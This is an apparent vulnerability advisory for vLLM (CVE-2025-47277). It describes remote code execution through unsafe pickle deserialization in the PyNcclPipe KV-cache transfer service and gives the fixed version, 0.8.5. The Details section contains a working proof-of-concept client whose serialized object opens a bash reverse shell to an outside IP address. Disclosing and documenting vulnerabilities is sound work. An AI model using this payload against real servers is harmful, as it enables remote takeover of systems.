vllm
Affected
- introduced
0.6.5, fixed0.8.5(ecosystem)
Fixed versions
0.8.5
Fix
- Fixed version
0.8.5pip install --upgrade vllm==0.8.5
Advisory
Also known as: CVE-2025-47277, GHSA-hjq4-87xh-g4fv
vLLM Allows Remote Code Execution via PyNcclPipe Communication Service
Impacted Environments
This issue ONLY impacts environments using the PyNcclPipe KV cache transfer integration with the V0 engine. No other configurations are affected.
Summary
vLLM supports the use of the PyNcclPipe class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the PyNcclCommunicator class, while CPU-side control message passing is handled via the send_obj and recv_obj methods on the CPU side.
A remote code execution vulnerability exists in the PyNcclPipe service. Attackers can exploit this by sending malicious serialized data to gain server control privileges.
The intention was that this interface should only be exposed to a private network using the IP address specified by the --kv-ip CLI parameter. The vLLM documentation covers how this must be limited to a secured network: https://docs.vllm.ai/en/latest/deployment/security.html
Unfortunately, the default behavior from PyTorch is that the TCPStore interface will listen on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the TCPStore instance to bind its socket to a specified private interface.
This issue was reported privately to PyTorch and they determined that this behavior was intentional.
Details
The PyNcclPipe implementation contains a critical security flaw where it directly processes client-provided data using pickle.loads , creating an unsafe deserialization vulnerability that can lead to Remote Code Execution.
PyNcclPipe service configured to listen on port 18888 when launched:from vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe
from vllm.config import KVTransferConfig
config=KVTransferConfig(
kv_ip="0.0.0.0",
kv_port=18888,
kv_rank=0,
kv_parallel_size=1,
kv_buffer_size=1024,
kv_buffer_device="cpu"
)
p=PyNcclPipe(config=config,local_rank=0)
p.recv_tensor() # Receive data
PyNcclPipe service:from vllm.distributed.utils import StatelessProcessGroup
class Evil:
def __reduce__(self):
import os
cmd='/bin/bash -c "bash -i >& /dev/tcp/172.28.176.1/8888 0>&1"'
return (os.system,(cmd,))
client = StatelessProcessGroup.create(
host='172.17.0.1',
port=18888,
rank=1,
world_size=2,
)
client.send_obj(obj=Evil(),dst=0)
The call stack triggering RCE is as follows:
vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_impl
-> vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_metadata
-> vllm.distributed.utils.StatelessProcessGroup.recv_obj
-> pickle.loads
Getshell as follows:
Reporters
This issue was reported independently by three different parties:
### Fix
TCPStore socket to the private interface as configured.Critical Basis: CVSS v3 score 9.8, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
0.6.5, fixed 0.8.5 (ecosystem)0.8.5
0.8.5pip install --upgrade vllm==0.8.5Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: PyPA Advisory Database · CC BY 4.0